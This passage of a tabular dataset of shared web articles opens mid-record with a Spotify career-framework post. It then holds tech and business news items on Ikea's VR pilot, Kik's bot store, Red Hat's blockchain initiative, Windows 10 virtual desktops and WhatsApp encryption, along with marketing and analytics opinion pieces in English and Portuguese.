organizationally or functionality that people are part of) - now you are a resource beyond your immediate team. Either because you have depth in a technology (and help others or other teams around that technology); because you are skilled at solving difficult problems that span teams; or because you can be counted on to lead other developers in your tribe to solve large cross-squad problems. Technology / Company (the highest levels of the organization) - The developers at this level are resources for the entire company based on their technical and leadership skills and are expected to spend a significant amount of their time working across the organization. A map of career growth at Spotify The five characteristics and four steps created a map of professional development at Spotify. We then spent significant amounts of time defining each of the characteristics for each step. One decision we made that I think was especially good was that mastery was only one of the five characteristics. That is the only area where we differentiate based on role (since mastery as a coach is significantly different than mastery as a mobile developer). This also helped reinforce that switching roles didn't necessarily mean moving backwards in your career development as most of the characteristics were universal. Much of the focus of the feedback we got was on the content of this map. This makes sense because this was essentially where the model got concrete for people. We were defining would be expected of employees in technology, after all. A group editing process We settled into a rhythm of working in a shared google document, mob editing. Non-pair changes followed our code review guidelines: an edit was made in the doc as a suggestion, and two separate approval comments to the suggestion were needed to accept the change. The current version of the document (we would ""fork"" or create a new copy of the document on a regular basis) was then shared with progressively larger groups of managers and employees to get their feedback. Their comments and suggestions were then incorporated, after which a new version would be shared. The rounds of feedback and tweaking were extremely valuable. We realized that we weren't doing enough to support introverts in the initial versions, for example, and had to go back and make significant changes. After several months of revisions and sharing to larger and larger groups, we finally created an official RFC version, which was then shared with the entire organization for comments, and suggestions. This particular collaborative editing and progressive review process ended up working quite well. There were some improvements that I will recommend in the third part of this series. At this time, I want to recognize the initial working group that was instrumental in the creation of the process and the document. We worked so well as a group that in retrospect it is hard to remember whose ideas were whose. Any idea that any of us had was definitely improved by the others involved. While I am writing about what we did, the work itself was a true collective effort by Chris Angove, Daniel Prata, David Poblador I Garcia, Eli Daniel, Henrique Imbertti, Jessica Joelsson, Kevin Goldsmith, Kinshuk Mishra, Olof Svedström, and Will Meyer. Part two: the result of the process In the next post , I will share the framework itself that was the end result of this process.",en
1459872198,CONTENT SHARED,-6817732106250460899,-1032019229384696495,-3279030551983957682,,,,HTML,http://techcrunch.com/2016/04/05/ikea-ponders-the-future-of-retail-with-virtual-reality-pilot-app/,Ikea ponders the future of retail with virtual reality pilot app,"Ikea is coming to VR, but it's sadly leaving the Swedish meatballs behind in regular reality. The cheapo furniture company unexpectedly announced this morning that they were releasing a pilot experience for the HTC Vive on the SteamVR store. Gameplay in the app is limited to wandering a kitchen and changing the color of the cabinets so it's not exactly earth-shattering, but it's very cool to see Ikea wanting to get in on the ground floor of this technology. VR has huge implications for retail, especially in preparing companies for the game-changing potential of augmented reality technologies, which will undoubtedly shape the space significantly. ""Virtual reality is developing quickly and in five to ten years it will be an integrated part of people's lives. We see that virtual reality will play a major role in the future of our customers. For instance, someday, it could be used to enable customers to try out a variety of home furnishing solutions before buying them,"" said Jesper Brodin, the managing director at IKEA of Sweden in a statement. What's cool about the potential for this app is that the Vive can theoretically pretty easily get accustomed to the size of the room it's tracking so in the future this app could be a great way to see if items fit in your actual room without you having to bust out the measuring tape. While we're likely a ways away from wandering the halls of Ikea for hours in VR, retail companies are just getting started in terms of toying with what this new computing platform can bring to their industry and their customers.",en
1459873877,CONTENT SHARED,7555106864392724379,-1032019229384696495,-3279030551983957682,,,,HTML,http://techcrunch.com/2016/04/05/chat-app-kik-launches-a-bot-store-and-anyone-can-make-bots-for-it/,Chat app Kik launches a bot store and anyone can make bots for it,"It seems like barely a day passes without some notable mention of chat bots in the tech industry, and now one of North America's most used chat apps has jumped on the wagon after Kik , the billion dollar mobile messaging service particularly popular with young people, opened its doors to bots. First of all, let's check on exactly what a bot is. They are automated accounts that follow specific instructions to interact with users. They commonly serve up content - like a GIF or the weather forecast - but can be programmed to do all manner of things. There's plenty of hype around them because chat apps are so sticky that bots are easier to engage with than downloading apps, and could be an important vehicle for reaching consumers. Bots for the youth There's aren't too many examples of bots in the market right now, although Facebook is hotly tipped to throw its hat into the ring at F8 . Currently, privacy-focused Telegram and fast-growing work chat app Slack are the highest profile services that feature bots, but neither has a particular stronghold among the youth, a demographic that is hotly sought after by brands. That's very much Kik's domain. The Canada-based company says that 70 percent of its 275 million registered users are aged between 13 and 24, and that around 40 percent of all teens in the U.S. use its service. That's a hugely attractive segment, and Kik has already let some companies in to play. In 2014, Kik it allowed selected brands to pay to develop broadcast bot accounts that could chat with users and serve up things like content or fashion recommendations . These accounts allowed brands - and particularly those in entertainment - to interact with users in an app they use daily and on an opt-in basis, potentially helping to forge a meaningful connection. But they were one-way only, whereas bots can be added to conversations - if you want to pull up the weather while discussing a trip, for example - as well as one-on-one chats, and a whole lot more. Bots for all Kik has taken its first step into developing that potential after it opened a bot store inside its app, alongside the tools to allow any developer or brand to create their own bot. Users can access the bot store on the tab where they create new chats, while developers are able to go ahead and get started at dev.kik.com. The Kik bot store is off to a rolling start today, with 15 bots from established companies ready and waiting for users. Those include entertainment, such as Vine, Riffsy and FunnyOrDie, games, like TicTacToeBot, and other specific use apps, like The Weather Channel and fashion brand Sephora. Bots right now might seem basic, but there are a lot of smart mind who see the potential for them to do a whole lot more in the future. Kik CEO Ted Livingston has compared them to the new mobile apps. That's to say that, with fewer smartphone owners downloading apps these days and a bridge between iOS and Android, a bot that lives in their favorite messaging app could be a better way to engage with a consumer. ""Chat is going to be the next great operating system. Apps will come to be thought of as the new browsers; bots will be the new websites. This is the beginning of a new internet,"" Livingston wrote recently . Since Kik has long supported HTML5 websites, which are optimized for its in-app browser , a bot on its service can also be used as a trigger, perhaps to send users to a news story or website that has a feature-rich experience inside the Kik app? (Kik hasn't shipped a payments API with its boy developer tools at this point.) A new app rush ""This is just the beginning,"" Livingston told me over Kik. ""The deeper we go, the more we find."" Right now, Kik is hoping to draw in developers who can help it build out many of the norms and standards for how bots should operate. ""It's been a bit of a low start"" for the chat bot industry in general thus far, Mike Roberts, head of mobile development at Kik, admitted to TechCrunch in an interview. ""We're working with lots of partners... it sounds easy to get started but we are all figuring out what the UX will be like. It's taken a long time for mobile [apps, it's been] eight years since the iPhone launched, and we are still figuring that out, too,"" Roberts added. Initially, Roberts said that Kik expects the first wave of bots to be in the entertainment space, partly because that is what will appeal strongly to Kik's young userbase but also, again drawing comparisons with mobile, those were the type of apps that drew early success when smartphone apps first took off. Roberts expects brands to be particularly keen to translate their experiences to bots. While the user experience is still up in the air, we also don't know what users will think. Admittedly I'm not a heavy Kik user nor one of the average - I'm based outside of the U.S. and aged over 30 - but already my Kik contact list is full of bots. Roberts is wary that, though a novelty initially, users that overdose on bots might be turned off. ""It's hard to say what the total number [of bots users typical have] will be,"" he said. ""We think this is another app store opportunity, but we want to grow carefully with the right kind of bots. ""Unlike app fatigue, developing a bot makes sense because they can sit in [a user's] contact list until they need them. So we think there will be a core set of bots that users will interact with, and a small set of core bots that live in conversations,"" Roberts said. I tested a number of Kik bots and found them to operate much like those in Slack and Telegram - all bots are created fairly equally at this point. The Vine bot spewed out random clips, not always in a funny way, and the weather bot is limited to North America where I do not live. I don't have a need for cosmetics, either, but the Sephora sized up my style for future suggestions and I can see how that could appeal to the right person. Tech savvy people who are long accustomed to typing ""/giphy lol"" into Slack won't be blown away by Kik's bots, but that's not really the point. Few of Kik's hardcore users will be familiar with Telegram, Slack or others apps that are at the same stage of their botvolution as Kik. For them this will be a new experience. How these Kik users react, and how developers use these tools to move things forward are the crucial elements here. Livingston is right, this is just the beginning.",en
1459874970,CONTENT SHARED,5145921881592486583,4340306774493623681,8614897367681852911,,,,HTML,http://www.coindesk.com/open-source-giant-red-hat-blockchain-initiative/,Open Source Giant Red Hat Launches First Blockchain Initiative - CoinDesk,"Red Hat officially announced the OpenShift Blockchain Initiative today, a new development effort aimed at assisting financial firms as they embark on proofs-of-concept and other trials related to the emerging technology. Under the OpenShift Blockchain Initiative, Red Hat customers can build hosted blockchain solutions using tools provided by independent solutions vendors (ISVs) focused on the industry, while taking advantage of the company's managed support services. In interview, Julio Tapia, director of the Red Hat OpenShift partnership ecosystem, sought to position the announcement as both the first way that the company is seeking to leverage its open-source experience in the blockchain market, and as a follow-on to the news that the company had joined the Hyperledger blockchain project in February . Tapia told CoinDesk: ""We want to position ourselves with not only customers and partners, but leverage solutions developed in the entire ecosystem, taking all the innovation going on in the industry, maturing it for an enterprise market and making sure all the solutions can be launched and supported."" Through the new initiative, he said, clients will be able to gain access to the OpenShift Dedicated product alongside tools and training workshops, enablement materials and offerings from third-party solutions providers. Tapia positioned the Red Hat offering as competitive in today's market, given that major financial services firms have voiced an interest in launching blockchain applications in the cloud. ""A lot of folks in the market are looking to deploy on the big cloud providers, Amazon, Google, Microsoft. There are many companies offering cloud support,"" Tapia explained. Tapia clarified that OpenShift Dedicated is available on Amazon and that Google and Microsoft Azure support is forthcoming. Should an enterprise business want to pursue the use of these cloud platforms, Tapia said, Red Hat will help manage it on behalf of clients. Red Hat's formal entrance into the ecosystem comes at a time when a number of startups are seeking to provide similar enterprise-oriented services. For example, former Red Hat employee Jeff Garzik recently launched a startup called Bloq, which he dubbed the "" Red Hat for blockchain "" due to its use of a managed software services approach to the market. The news further follows the news Red Hat, which is perhaps best known for its services centered on the open-source Linux operating system, is now earning more than $2bn in annual revenue , a feat it claimed in mid-March. Increased attention Tapia hinted that Red Hat may have been under pressure to make announcement related to how it would engage on blockchain tech given its increasing visibility in the media. Tapia indicated that Red Hat is expanding OpenShift to feature blockchain capabilities due, in part, to the increasing attention the technology has received. ""[There are] lots of companies looking to deploy new solutions that will meet the needs of this space. There's a lot of things we're hearing about. We want to make sure we're at the forefront of that effort,"" Tapia continued. As for its predictions regarding the market, Tapia was perhaps short in his remarks, noting that he believes the industry is ""still evolving"". ""We're starting to see interesting [use cases] under development, everything from title and registration to patent management,"" he stated. He went on to suggest that the company is preparing for more growth in this area, adding: ""This is how big markets start and we want to invest appropriately to be the default platform."" No restrictions The announcement follows the February news that Red Hat had added Ethereum development platform BlockApps, a product of Ethereum decentralized application studio ConsenSys, to its OpenShift product. Tapia said that the inclusion of BlockApps in the announcement was due to the fact that ConsenSys, described as its seed investor and parent company, was one of the first teams to approach Red Hat about a potential collaboration. The firm is not the only company to be accepted into the program, Tapia said. As for which other blockchain companies have so far signed on to the offering, however, Tapia did not provide additional details. ""It's a little early, a lot of the partners are still creating product,"" he said. As for the level of scrutiny that will be applied to applications, Tapia declined to provide any specific criteria that participants will need to meet. As with Microsoft and its approach to expanding its Azure platform, Tapia said Red Hat is striving to be ""open"" and ""all-inclusive"", noting that the firm would not seek to make it ""difficult"" to join. ""We don't have any specific hard requirements,"" he said, adding: ""At this stage, it's still too early."" Image credit: zimmytws / Shutterstock.com",en
1459875856,CONTENT SHARED,8654585772743935612,-7496361692498935601,-8341970611185773933,,,,HTML,http://www.pcworld.com/article/2952864/windows/how-to-use-windows-10s-task-view-and-virtual-desktops.html,How to use Windows 10's Task View and virtual desktops,"Windows 10 brings a lot of great features to the PC, but one that power users are greeting with an exasperated "" finally "" is virtual desktops. This longstanding productivity powerhouse has long been standard on OS X and Linux distributions. Windows has actually supported the feature for a while despite not making virtual desktops available natively, but now the feature is going mainstream as part of Windows 10. But virtual desktops are not a stand-alone feature. Instead, they're built into Windows 10's new Task View, which is reminiscent of OS X's Exposé feature that shows all your open windows at a glance. Further reading: PCWorld's Windows 10 review Windows has had something similar for years-you've seen it if you've ever used the keyboard shortcut Alt + Tab to cycle through open programs. But the Alt + Tab feature disappears as soon as you let go of the keyboard. Task View takes a different approach by showing all your open windows in a permanent view that doesn't disappear until you dismiss it or pick a window to be in the foreground. Starting with the taskbar Task View in Windows 10. The simplest way to get to Task View and multiple desktops is to click the new icon next to the Cortana entry box on your taskbar. We'll start with that, but let me stress this is neither the easiest nor the most efficient way to use the new feature. For that, you'll need to learn a few keyboard shortcuts, which we'll discuss shortly. But first let's click on the new Task View icon. As you can see above, it shows all my open windows so I can quickly return to a specific program or document. This is an extremely helpful feature for those times when you have tons of windows open at once. Quick note to multi-monitor users: Task View will only show what you've got on a specific monitor. When you hit the icon, Task View is displayed across all your monitors to help you find what you're looking for, but don't expect to see all your open windows on one display. If you're running a full screen video on a specific monitor, then you won't see Task View on that monitor at all. Task View and Snap Task View works with Snap to make life easier. Windows 10 still supports Snap, a fantastic feature that lets you set a window to take up half your screen. Windows 10 has also bumped up this functionality with a new feature called Quadrants that lets you snap programs into a four-rectangle grid on your display. To use Snap, hit the Windows logo key and then one of the side arrow keys. The two side keys snap a window to the corresponding half of your display. If you then use the up or down keys, Quadrants activates and snaps the window to the upper or bottom half of that side. So why am I talking about this? Because to make Task View more beneficial, it automatically shows up on the empty half of the screen whenever you use Snap with multiple apps open. So instead of having to set manually two separate windows, you just snap one window and then Task View lets you pick the next one to fill in the blank space. Things aren't so easy with Quadrants, however. With that layout you have to fill in three windows first before you'll see Task View fill in the fourth. Virtual desktops Virtual desktops are a fantastic way to stay organized. You could, for example, create three virtual desktops. On the first, you put your current work project in Microsoft Excel, Word, Adobe Photoshop...whatever. The second desktop is where you keep all your communication and daily planning stuff, such as calendar, email, and Skype. Then the third can be for your music player, or distractions for those quick five minute breaks-like YouTube or a game. Windows 10 lets you use a seemingly unlimited number of virtual desktops, but if you've ever used OS X or Linux, don't expect Microsoft's take to work the same way. On non-Windows systems, you're typically given at least the impression that those desktops are always there. With Windows, you have to actively create a new desktop, which can take a few seconds the first time you do it. To create a new virtual desktop open Task View. To create a new desktop, click on the Task View icon on the taskbar, and then-with the Task View interface open-click the text link that says ""+ New Desktop"" in the lower right-hand corner of the screen. Windows 10 with two active virtual desktops. Hit that, and a new desktop appears at the bottom of the Task View. To navigate between them you can choose between Desktop 1 and Desktop 2 . From Task View, you can also drag-and-drop open program windows from the current desktop into a different one, or onto the ""+ New Desktop"" link to create a new virtual desktop housing the software. By default, each virtual desktop shows only the active programs and windows for that particular desktop. If you'd rather know what programs you have open regardless of the desktop you're on, you change this by opening the Settings app in the Start menu and going to System > Multitasking > Virtual desktops . Keyboard shortcuts Those are the basics of Task View and virtual desktops, but to get really proficient with these features it's better to forget the mouse and use keyboard shortcuts instead. Jumping into Task View is as simple as hitting the Windows logo key + Tab . To create a new virtual desktop, hit the Windows logo key + Ctrl + D . To close the current desktop you're on, it's Windows logo key + Ctrl + F4 . Unlike OS X or Linux, which use grid layouts, Windows 10 organizes virtual desktops in a straight line. To shift between the desktops, use the Windows logo key + Ctrl and the left or right arrow keys. New desktops are always created on the right side of the line. Once you navigate to the last desktop, you can't hit the right arrow key to loop around to first one. Instead, you have to navigate backwards using the left arrow key. Just a quick note about the virtual desktop navigation shortcut: It's very easy to forget what you're doing and hit Ctrl + Alt and the arrow keys instead of the Windows logo key + Ctrl . If you do that, which I've already done many times, you'll change the orientation of your display. In other words, your desktop may suddenly move to portrait mode. If that happens, just hit Ctrl + Alt + the up arrow key to return to regular landscape mode. That's about all there is to Task View and virtual desktops. Enjoy the extra desktop space and improved efficiency, and be sure to check out PCWorld's mammoth list of Windows 10 tips and tricks for more nifty tweaks.",en
1459876174,CONTENT SHARED,-156577302871365261,-299809122140089170,502783853938631545,,,,HTML,https://tecnoblog.net/110843/whatsapp-criptografa-mensagens/,WhatsApp começa a criptografar mensagens | Tecnoblog,"Enviar mensagens pelo WhatsApp está mais seguro, pelo menos se você tiver a última versão do aplicativo instalada no seu smartphone. Após passar por alguns problemas de segurança, a equipe de suporte do WhatsApp decidiu esclarecer algumas questões sobre privacidade e confirmou: a partir de agora, todas as mensagens são enviadas de maneira criptografada. Recentemente, o WhatsApp chegou a ficar quase uma semana fora da loja de aplicativos do Windows Phone por um motivo desconhecido. Alguns especularam que se tratava de um problema de segurança, mas um funcionário negou essa informação. O que sabemos é que, antes da última atualização, as mensagens eram enviadas em texto puro e poderiam ser interceptadas. O WhatsAppSniffer era um aplicativo para Android que permitia visualizar as mensagens privadas enviadas por qualquer usuário que estivesse na mesma rede Wi-Fi. O aplicativo conseguia, inclusive, capturar imagens e vídeos. E o pior de tudo é que, segundo alguns blogs americanos, o WhatsApp já tinha conhecimento do problema há pelo menos um ano, mas não corrigiu a falha. Agora deve estar tudo bem: o WhatsApp informou que a última versão do aplicativo envia texto criptografado. Os responsáveis pelo serviço aproveitaram para esclarecer que nenhuma mensagem é armazenada nos servidores do WhatsApp após o recebimento pelo destinatário e todas as conversas são tratadas como particulares. Como sempre, nenhum sistema é tão forte que não possa ser quebrado. As recomendações básicas de segurança continuam valendo: não envie informações sensíveis, como senhas e dados pessoais, pelo WhatsApp. Muito menos por SMS . E, se for enviar algo que possa ser constrangedor se o conteúdo cair em mãos erradas, tenha em mente que o celular do seu amigo pode estar com outra pessoa. Com informações: WMPoweruser .",pt
1459880563,CONTENT SHARED,6215963711332976380,-6316613156648676087,2567398530481214496,,,,HTML,http://www.proxxima.com.br/home/negocios/2015/11/16/Global-Data-Bank-e-lancado-internacionalmente-com-operacao-no-Brasil.html,Global Data Bank é lançado internacionalmente com operação no Brasil,"Global Data Bank, como o nome revela, é um banco de dados global. Uma empresa norte-americana, que nasce com uma operação no Brasil. Seus criadores e investidores são o norte-americano Jonh de Tar e o brasileiro Guilherme Soter, em conjunto com a SIGNAL, uma das lideranças mundiais em tecnologia de cross channel para marketing. De Tar e Soter são também sócios no Brasil, juntamente com Raphael Klein, da ROIx. O GDB coleta dados, organiza-os e promove sua ativação, de forma segura. Cada empresa administra sua própria conta, como num banco. Não há nenhum custo para fazer parte da plataforma. GDB se remunera com um percentual de cada transação realizada em sua base. Segundo a empresa, esse percentual varia de um terço a um quinto dos valores cobrados por operações de dados no mercado (data providers). A lógica do negócio está fundamentada em dois pilares: escala e flexibilidade intercambiável de dados. Escala porque GDB é um montante de dados reunidos a partir de dados de primeira origem (first party data) providos pelos seus próprios participantes. Flexibilidade porque cada gestor pode montar seu próprio cluster e suas próprias segmentações, usando-as como desejar, integrando inclusive on e off-line. Em tempo real e de forma programática. ""Cada anunciante/agência/DSP tem sua própria conta no banco. E de forma segura eles podem depositar dados de diversas fontes, seja elas on ou off-line. Após isso, os anunciantes, que agem como ""correntistas"" desse banco, podem construir seus próprios clusters, segmentos e ativá-los em tempo real, programaticamente. Isso pode acontecer através de qualquer DSP no Brasil, como a AOL, Yahoo (YAM+), MediaMath, RocketFuel e Google"" detalha John deTar. ""Tipicamente, as empresas pagam entre 15% e 30% de todo o seu investimento no uso de dados de terceiros (third party data) ao ativar uma campanha de mídia programática, e acabam se esquecendo de que o dado mais valioso é o seu próprio dado coletado e tratado (o first party data). Com o GDB, os clientes pagam apenas 5% pelo uso da plataforma, e isso ocorre apenas quando os seus dados são ativados. Não cobramos nada adicionalmente pelos serviços de integração, coleta, organização nem tampouco pelo onboarding dos dados"" complementa Guilherme Soter. ""A ideia é facilitar a vida dos anunciantes e agências, fazendo com que eles não tenham que pensar em construir sua própria Data Management Platform (DMP) ou que paguem por esse serviço sem ativação de mídia"". Dessa forma, todos podem se beneficiar da economia de escala que o GDB oferece com total segurança e privacidade total de seus dados assegurada por contrato. ""Nós não vendemos, compartilhamos ou alugamos dados - Apenas oferecemos a plataforma e as ferramentas essenciais para tornar o uso de dados eficiente para o cliente"" acrescenta Soter. No mês de Outubro de 2015, afirma a empresa, o GDB coletou mais de 11 bilhões de impressões de seus parceiros beta no Brasil, e já tem acesso a dados off-line de mais de 147 milhões de pessoas. Comercialmente, o GDB está sendo liderado por Marcelo Pincherle, vindo da Serasa Experian. Marcelo Nogueira, da SIGNAL, passa também a fazer parte do time comercial baseado em São Paulo.",pt
1459885764,CONTENT SHARED,3761187656635209729,-108842214936804958,4396691925401735068,,,,HTML,http://www.widerfunnel.com/how-to-write-a-hypothesis/,How to write a hypothesis,"The potential for your marketing improvement depends on the strength of your testing hypotheses. But where are you getting your test ideas from? Have you been scouring competitor sites, or perhaps pulling from previous designs on your site? The web is full of ideas and you're full of ideas - there is no shortage of inspiration, that's for sure. Coming up with something you want to test isn't hard to do. Coming up with something you should test can be hard to do. Hard - yes. Impossible? No. Which is good news, because if you can't create hypotheses for things that should be tested, your test results won't mean mean much, and you probably shouldn't be spending your time testing. Taking the time to write your hypotheses correctly will help you structure your ideas, get better results, and avoid wasting traffic on poor test designs. With this post, we're getting advanced with marketing hypotheses, showing you how to write and structure your hypotheses to gain both business results and marketing insights! By the time you finish reading, you'll be able to: Distinguish a solid hypothesis from a time-waster, and Structure your solid hypothesis to get results and insights To make this whole experience a bit more tangible, let's track a sample idea from...well...idea to hypothesis. Let's say you identified a call-to-action (CTA)* while browsing the web, and you were inspired to test something similar on your own lead generation landing page. You think it might work for your users! Your idea is: ""My page needs a new CTA."" *A call-to-action is the point where you, as a marketer, ask your prospect to do something on your page. It often includes a button or link to an action like ""Buy"", ""Sign up"", or ""Request a quote"". The basics: The correct hypothesis format A well-structured hypothesis provides insights whether it is proved, disproved, or results are inconclusive. You should never phrase a hypothesis as a question. It should be written as a statement that can be rejected or confirmed. Further, it should be a statement geared toward revealing insights - with this in mind, it helps to imagine each statement followed by a reason : Changing _______ into ______ will increase [conversion goal], because: Changing _______ into ______ will decrease [conversion goal], because: Changing _______ into ______ will not affect [conversion goal], because: Each of the above sentences ends with 'because' to set the expectation that there will be an explanation behind the results of whatever you're testing. It's important to remember to plan ahead when you create a test, and think about explaining why the test turned out the way it did when the results come in. Level up: Moving from a good to great hypothesis Understanding what makes an idea worth testing is necessary for your optimization team. If your tests are based on random ideas you googled or were suggested by a consultant, your testing process still has its training wheels on. Great hypotheses aren't random. They're based on rationale and aim for learning. Hypotheses should be based on themes and analysis that show potential conversion barriers. At WiderFunnel, we call this investigation phase the ""Explore Phase"" where we use frameworks like the LIFT Model to understand the prospect's unique perspective. (You can read more on the the full optimization process here ). A well-founded hypothesis should also provide you with new, testable clues about your users regardless of whether or not the test wins, loses or yields inconclusive results. These new insights should inform future testing: a solid hypothesis can help you quickly separate worthwhile ideas from the rest when planning follow-up tests. Ultimately, what matters most is that you have a hypothesis going into each experiment and you design each experiment to address that hypothesis. - Nick So, Optimization Strategist, WiderFunnel Here's a quick tip : If you're about to run a test that isn't going to tell you anything new about your users and their motivations, it's probably not worth investing your time in. Let's take this opportunity to refer back to your original idea: ""My page needs a new CTA."" Ok, but what now ? To get actionable insights from 'a new CTA', you need to know why it behaved the way it did. You need to ask the right question. To test the waters, maybe you changed the copy of the CTA button on your lead generation form from ""Submit"" to ""Send demo request"". If this change leads to an increase in conversions, it could mean that your users require more clarity about what their information is being used for. That's a potential insight. Based on this insight, you could follow up with another test that adds copy around the CTA about next steps: what the user should anticipate after they have submitted their information. For example, will they be speaking to a specialist via email? Will something be waiting for them the next time they visit your site? You can test providing more information, and see if your users are interested in knowing it! That's the cool thing about a good hypothesis: the results of the test, while important (of course) aren't the only component driving your future test ideas. The insights gleaned lead to further hypotheses and insights in a virtuous cycle. It's based on a science The term 'hypothesis' probably isn't foreign to you. In fact, it may bring up memories of grade-school science class; it's a critical part of the scientific method . The scientific method in testing follows a systematic routine that sets ideation up to predict the results of experiments via: Collecting data and information through observation Creating tentative descriptions of what is being observed Forming hypotheses that predict different outcomes based on these observations Testing your hypotheses Analyzing the data, drawing conclusions and insights from the results Don't worry! Hypothesizing may seem 'sciency', but it doesn't have to be complicated in practice. Hypothesizing simply helps ensure the results from your tests are quantifiable, and is necessary if you want to understand how the results reflect the change made in your test. A strong hypothesis allows testers to use a structured approach in order to discover what works, why it works, how it works, where it works, and who it works on. ""My page needs a new CTA."" Is this idea in its current state clear enough to help you understand what works? Maybe. Why it works? No. Where it works? Maybe. Who it works on? No. Your idea needs refining. Let's pull back and take a broader look at the lead generation landing page we want to test. Imagine the situation: you've been diligent in your data collection and you notice several recurrences of Clarity pain points - meaning that there are many unclear instances throughout the page's messaging. Rather than focusing on the CTA right off the bat, it may be more beneficial to deal with the bigger clarity issue. Now you're starting to think about solving your prospects conversion barriers rather than just testing random ideas! If you believe the overall page is unclear, your overarching theme of inquiry might be positioned as: ""Improving the clarity of the page will reduce confusion and improve [conversion goal]."" By testing a hypothesis that supports this clarity theme, you can gain confidence in the validity of it as an actionable marketing insight over time. If the test results are negative : It may not be worth investigating this motivational barrier any further on this page. In this case, you could return to the data and look at the other motivational barriers that might be affecting user behavior. If the test results are positive : You might want to continue to refine the clarity of the page's message with further testing. Typically, a test will start with a broad idea - you identify the changes to make, predict how those changes will impact your conversion goal, and write it out as a broad theme as shown above. Then, repeated tests aimed at that theme will confirm or undermine the strength of the underlying insight. Building hypotheses to create insights You believe you've identified an overall problem on your landing page (there's a problem with clarity). Now you want to understand how individual elements contribute to the problem, and the effect these individual elements have on your users. It's game time - now you can start designing a hypothesis that will generate insights. You believe your users need more clarity. You're ready to dig deeper to find out if that's true! If a specific question needs answering, you should structure your test to make a single change. This isolation might ask: ""What element are users most sensitive to when it comes to the lack of clarity?"" and ""What changes do I believe will support increasing clarity?"" At this point, you'll want to boil down your overarching theme... Improving the clarity of the page will reduce confusion and improve [conversion goal]. ...into a quantifiable hypothesis that isolates key sections: Changing the wording of this CTA to set expectations for users (from ""submit"" to ""send demo request"") will reduce confusion about the next steps in the funnel and improve order completions. Does this answer what works? Yes: changing the wording on your CTA. Does this answer why it works? Yes: reducing confusion about the next steps in the funnel. Does this answer where it works? Yes: on this page, before the user enters this theoretical funnel. Does this answer who it works on? No, this question demands another isolation. You might structure your hypothesis more like this: Changing the wording of the CTA to set expectations for users (from ""submit"" to ""send demo request"") will reduce confusion for visitors coming from my email campaign about the next steps in the funnel and improve order completions. Now we've got a clear hypothesis. And one worth testing! Let's compare: The original idea : ""My page needs a new CTA."" Following the hypothesis structure : ""A new CTA on my page will increase [conversion goal]"" The first test implied a problem with clarity, provides a potential theme : ""Improving the clarity of the page will reduce confusion and improve [conversion goal]."" The potential clarity theme leads to a new hypothesis : ""Changing the wording of the CTA to set expectations for users (from ""submit"" to ""send demo request"") will reduce confusion about the next steps in the funnel and improve order completions."" Final refined hypothesis : ""Changing the wording of the CTA to set expectations for users (from ""submit"" to ""send demo request"") will reduce confusion for visitors coming from my email campaign about the next steps in the funnel and improve order completions."" Which test would you rather your team invest in? Before you start your next test, take the time to do a proper analysis of the page you want to focus on. Do preliminary testing to define bigger issues, and use that information to refine and pinpoint your hypothesis to give you forward-looking insights. Doing this will help you avoid time-wasting tests, and enable you to start getting some insights for your team to keep testing!",en
1459887113,CONTENT SHARED,-1287202638861144684,1748162647671155552,5070572141089411380,,,,HTML,https://www.linkedin.com/pulse/eu-n%C3%A3o-preciso-de-unic%C3%B3rnios-malamutes-do-alaska-johann-vivot,"Eu não preciso de Unicórnios, preciso de Malamutes do Alaska...","... afinal, Unicórnios não existem, não é mesmo? É assim que devemos iniciar a discussão sobre um dos assuntos mais comentados na atualidade: A raridade e, por consequência, a dificuldade em encontrar talentos para os times de analytics e data science. Em pesquisa recente feita pela Nucleus Research , analisando grandes empresas com a correta utilização de analytics e data science, encontramos que a cada dólar investido corretamente na competência, obtemos um ROI de $13.01 (Número que era $10.66 em 2011). Em outras palavras, a cada vez que investimos em pessoas, processos e tecnologia na área de analytics e data science, recebemos de volta 10x a mais o valor investido. E esse número vem aumentando com o exponencial avanço e expansão da área. Outro número interessante divulgado no eMetrics Summit 2016 , é que um profissional de analytics e data science, inserido no momento e contexto correto, pode gerar para a empresa a receita ou saving de $107k-$554k ao ano. Mas onde achar esse profissional que une habilidades tão raras? Encontrar habilidades estatísticas, tecnológicas e de negócios em um único profissional me parece realmente como caçar um unicórnio. Trago uma boa notícia a você: Você não precisa de unicórnios. Você precisa de Malamutes do Alaska. Os Malamutes do Alaska são os cães fortes e robustos que os esquimós utilizam para puxar trenós em baixíssimas temperaturas e nos terrenos mais adversos. Na analogia, eles são os as pessoas que usarão o trabalho em equipe para levar sua empresa até o destino enfrentando longas viagens, adaptando-se em altas variações de temperatura e nos mais difíceis terrenos. Outra boa notícia é que, diferente da existência do unicórnio, a existência do Malamute do Alaska não é um mito, eles existem. A má notícia é que eles ainda são difíceis de achar. Algumas habilidades que você deve caçar além do engajamento são: O profissional com habilidade de fazer acontecer com os recursos disponíveis; O open source guru que irá te ajudar com as soluções disponíveis no mercado; O profissional com a habilidade de criar modelos de análise com embasamento estatístico; O deep diver, que irá mergulhar nas mais profundas entranhas para chegar as análises que deseja; O storyteller, que possui ótima habilidade de comunicação e capaz de contar belas histórias que os dados nos contarão; A pessoa curiosa e questionadora que irá evitar que nos precipitemos; E por fim, o perfil que coloca sempre a privacidade dos usuários análisados em primeiro lugar; Um profissional pode conter uma ou ""N"" habilidades, mas nosso trenó irá mais longe se for puxado por ""cães"" com essas habilidades. Porém, você pode começar a montar a ""matilha"" da sua empresa através das unidades de negócio. Comece entregando valor e diversos kickwins para a unidade em questão. Certamente eles possuem necessidades que você, utilizando o poder do analytics e data science, pode ajudar de forma rápida. Isso gera a fome de dados e por consequência o engajamento. As unidades de negócio possuem habilidade de enxergar significância de negócio em análises, que possui um peso grande quando vem antes da significância estatística (Sim, existe uma diferença e isso não quer dizer que uma é mais importante que outra, mas a primeira deve sempre vir antes da segunda). Vá empoderando esses usuários aos poucos com a ajuda das diversas plataformas que temos disponíveis . E por fim vá criando a governança e os processos que te sustentarão nessa jornada. No decorrer do caminho você terá tempo para caçar os Malamutes do Alaska corretos para sua ""matilha"". Além disso, irão aparecer naturalmente Malamutes do Alaska nas suas unidades de negócio. Criando a estrutura de time correta, utilizando as ferramentas da melhor forma possível para suprir as necessidades e com uma grande estratégia, é possível colher os grandes frutos da competência.",pt
